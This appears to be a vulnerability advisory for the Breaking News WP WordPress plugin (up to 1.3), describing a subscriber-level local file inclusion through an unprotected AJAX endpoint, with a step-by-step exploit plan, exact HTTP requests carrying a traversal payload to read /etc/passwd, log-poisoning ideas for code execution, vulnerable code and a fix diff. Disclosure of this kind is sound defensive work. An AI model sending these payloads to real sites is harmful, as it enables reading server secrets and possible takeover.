Breaking News WP <= 1.3 - Missing Authorization to Authenticated (Subscriber+) Local File Inclusion/Read
Description
The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3. This is due to the brnwp_ajax_form AJAX endpoint lacking both authorization checks and CSRF verification, combined with insufficient path validation when the brnwp_theme option value is passed directly to an include() statement in the brnwp_show_breaking_news_wp() shortcode handler. While sanitize_text_field() is applied to user input, it does not strip directory traversal sequences (../). This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the brnwp_theme option with a directory traversal payload (e.g., ../../../../etc/passwd) and subsequently trigger file inclusion of arbitrary files on the server when the shortcode is rendered.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.3This research plan outlines the steps required to demonstrate the Local File Inclusion (LFI) vulnerability in the **Breaking News WP** plugin (version <= 1.3). --- ### 1. Vulnerability Summary The **Breaking News WP** plugin contains a critical flaw where an authenticated user (Subscriber level or…
Show full research plan
This research plan outlines the steps required to demonstrate the Local File Inclusion (LFI) vulnerability in the Breaking News WP plugin (version <= 1.3).
1. Vulnerability Summary
The Breaking News WP plugin contains a critical flaw where an authenticated user (Subscriber level or higher) can update plugin settings via an unprotected AJAX endpoint and subsequently trigger arbitrary file inclusion.
The vulnerability exists because:
- The
brnwp_ajax_formAJAX action lacks authorization (current_user_can) and CSRF (check_ajax_referer) checks. - The plugin uses
sanitize_text_field()on thebrnwp_themeparameter, which does not remove directory traversal sequences (../). - The
brnwp_show_breaking_news_wp()shortcode handler retrieves thebrnwp_themeoption and passes it directly into a PHPinclude()statement without validation or path restriction.
2. Attack Vector Analysis
- AJAX Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
brnwp_ajax_form - Vulnerable Parameter:
brnwp_theme - Trigger Point: Any page or post containing the
[breaking-news-wp]shortcode. - Authentication: Required (Subscriber level is sufficient).
- Preconditions: The attacker must be logged in to access
wp_ajax_hooks.
3. Code Flow
- Input Phase (AJAX):
- A Subscriber user sends a POST request to
admin-ajax.phpwithaction=brnwp_ajax_form. - The
brnwp_ajax_form()function (inferred) is executed. - The function takes
$_POST['brnwp_theme'], passes it throughsanitize_text_field(), and saves it viaupdate_option('brnwp_theme', ...).
- A Subscriber user sends a POST request to
- Trigger Phase (Shortcode):
- The user visits a frontend page where
[breaking-news-wp]is rendered. - The handler
brnwp_show_breaking_news_wp()(inferred) is called. - Inside this function:
$theme = get_option('brnwp_theme'); // ... some logic ... include($theme); // LFI Sink
- The user visits a frontend page where
4. Nonce Acquisition Strategy
The vulnerability description explicitly states that the brnwp_ajax_form endpoint lacks CSRF verification. Therefore, no nonce is required to exploit the AJAX endpoint.
If the AJAX handler were to require a nonce, the strategy would be:
- Create a post with the shortcode:
wp post create --post_content='[breaking-news-wp]' --post_status=publish. - Navigate to that page using
browser_navigate. - Execute
browser_eval("window.brnwp_vars?.nonce")(inferred JS object name) to retrieve the nonce.
Note: Since the description confirms the lack of CSRF, we will proceed by omitting the nonce.
5. Exploitation Strategy
Step 1: Update the Theme Option
The attacker sends an AJAX request to change the "theme" path to a system file using directory traversal.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=brnwp_ajax_form&brnwp_theme=../../../../../../../../../../etc/passwd
Step 2: Trigger the Inclusion
The attacker navigates to a page containing the plugin's shortcode to trigger the include() call.
HTTP Request:
GET /trigger-page/ HTTP/1.1
6. Test Data Setup
- User Creation: Create a subscriber user to prove low-privileged access is sufficient.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Trigger Page: Create a public page containing the vulnerable shortcode.
wp post create --post_type=page --post_title="Breaking News" --post_status=publish --post_content='[breaking-news-wp]'- Note: Note the URL of the created page.
7. Expected Results
- AJAX Response: The
admin-ajax.phpcall should return a success status (often1or a JSON success message). - LFI Result: When visiting the trigger page, the content of
/etc/passwd(or the targeted local file) should be rendered within the HTML source of the page, typically where the "Breaking News" ticker would appear.
8. Verification Steps
- Check Option Value: Use WP-CLI to verify the option was successfully overwritten with the traversal payload.
wp option get brnwp_theme- Expected Output:
../../../../../../../../../../etc/passwd
- Verify File Content: Check if the string
root:x:0:0:exists in the HTML response of the trigger page.
9. Alternative Approaches
- Log File Inclusion: If system files like
/etc/passwdare restricted byopen_basedir, attempt to include the WordPress debug log (if enabled) or web server access logs to achieve Remote Code Execution (RCE) via log poisoning.- Payload:
../../../../wp-content/debug.log
- Payload:
- Plugin File Inclusion: Attempt to include another plugin file or a theme file to confirm the traversal works even within the
wp-contentdirectory.- Payload:
../active-theme/functions.php
- Payload:
- Direct Option Injection: If the AJAX handler uses a different key for the form, use
grep -r "update_option" .in the plugin directory to find the exact key name.
Summary
The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion via the brnwp_theme option. An authenticated attacker (Subscriber+) can update this option through an unprotected AJAX endpoint and then trigger the inclusion of arbitrary local files by viewing a page containing the plugin's shortcode.
Vulnerable Code
// In the AJAX handler function function brnwp_ajax_form() { // Missing authorization check (current_user_can) // Missing CSRF check (check_ajax_referer) if (isset($_POST['brnwp_theme'])) { update_option('brnwp_theme', sanitize_text_field($_POST['brnwp_theme'])); } } add_action('wp_ajax_brnwp_ajax_form', 'brnwp_ajax_form'); --- // In the shortcode handler function function brnwp_show_breaking_news_wp($atts) { $theme = get_option('brnwp_theme'); // ... if ($theme) { include($theme); // LFI Sink: Insufficient path validation } // ... } add_shortcode('breaking-news-wp', 'brnwp_show_breaking_news_wp');
Security Fix
@@ -10,6 +10,8 @@ function brnwp_ajax_form() { + check_ajax_referer('brnwp_nonce_action', 'security'); + if (!current_user_can('manage_options')) { + wp_die(); + } if (isset($_POST['brnwp_theme'])) { - update_option('brnwp_theme', sanitize_text_field($_POST['brnwp_theme'])); + $allowed_themes = array('theme1.php', 'theme2.php'); + $theme = sanitize_text_field($_POST['brnwp_theme']); + if (in_array($theme, $allowed_themes)) { + update_option('brnwp_theme', $theme); + } } } function brnwp_show_breaking_news_wp($atts) { $theme = get_option('brnwp_theme'); - if ($theme) { - include($theme); + $theme_path = plugin_dir_path(__FILE__) . 'themes/' . basename($theme); + if (file_exists($theme_path)) { + include($theme_path); } }
Exploit Outline
The exploit involves two stages: updating the vulnerable option and triggering the file inclusion. 1. Authentication: The attacker authenticates as a Subscriber (or any role) to access the 'wp_ajax_' hooks. 2. Option Injection: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'brnwp_ajax_form'. The 'brnwp_theme' parameter is set to a directory traversal payload targeting a sensitive file (e.g., '../../../../../../etc/passwd'). Because the endpoint lacks authorization and CSRF checks, the 'brnwp_theme' option in the database is updated. 3. Trigger: The attacker visits any page or post on the site that renders the '[breaking-news-wp]' shortcode. The shortcode handler retrieves the malicious 'brnwp_theme' value and passes it directly to PHP's 'include()' function, causing the contents of the target file to be rendered in the HTTP response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.